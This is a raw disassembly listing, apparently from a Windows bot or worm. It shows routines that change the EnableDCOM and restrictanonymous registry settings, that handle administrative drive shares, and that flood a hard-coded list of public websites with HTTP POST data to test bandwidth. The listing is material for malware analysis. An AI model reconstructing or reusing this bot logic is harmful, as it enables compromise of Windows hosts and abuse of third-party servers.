--------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439978 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26E0A63h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439950 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0A63h loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_439920 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0A63h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_43353C push esi call dword_4CB060 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB22C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2720000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D158 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2660C90h test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB228, eax mov eax, [ebp+var_8] mov dword_4DB230, eax mov eax, [ebp+var_2C] mov dword_4DB224, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB268, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB234 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399DC call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEE8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi call near ptr 2680000h nop cmp eax, esi mov dword_43DEF4[edi], eax jnz short loc_419E12 nop call near ptr 26807C8h push eax lea eax, [ebp+var_378] push offset unk_4399A8 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 call near ptr 26E0A63h nop sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB074, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB014 test eax, eax jnz short loc_419F04 mov ax, word_438754 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAFC8 test eax, eax jz short loc_419EE6 push offset dword_439C78 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C58 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439C28 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB014 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAFC8 test eax, eax jz short loc_419F86 push offset dword_439BD8 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439BA4 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B68 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B38 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB09C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEE8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_439A00 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439B14 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AE8 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_439A20 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439AC4 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A98 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB034 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A70 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB074, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB014 test eax, eax jnz short loc_41A228 mov ax, word_438798 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAFC8 test eax, eax jz short loc_41A20A push offset dword_439DF0 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DD4 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439C28 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB014 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAFC8 test eax, eax jz short loc_41A2A6 push offset dword_439D94 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D5C loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439D20 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B38 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB09C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_439A00 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439D00 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CD8 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_439A10 jb short loc_41A321 nop call near ptr 2850C15h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CB004 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439D00 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CD8 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439CA8 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 26905FEh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAFA4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CB024 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_43384C ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB03C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB03C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E48 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26905FEh xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB270 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call near 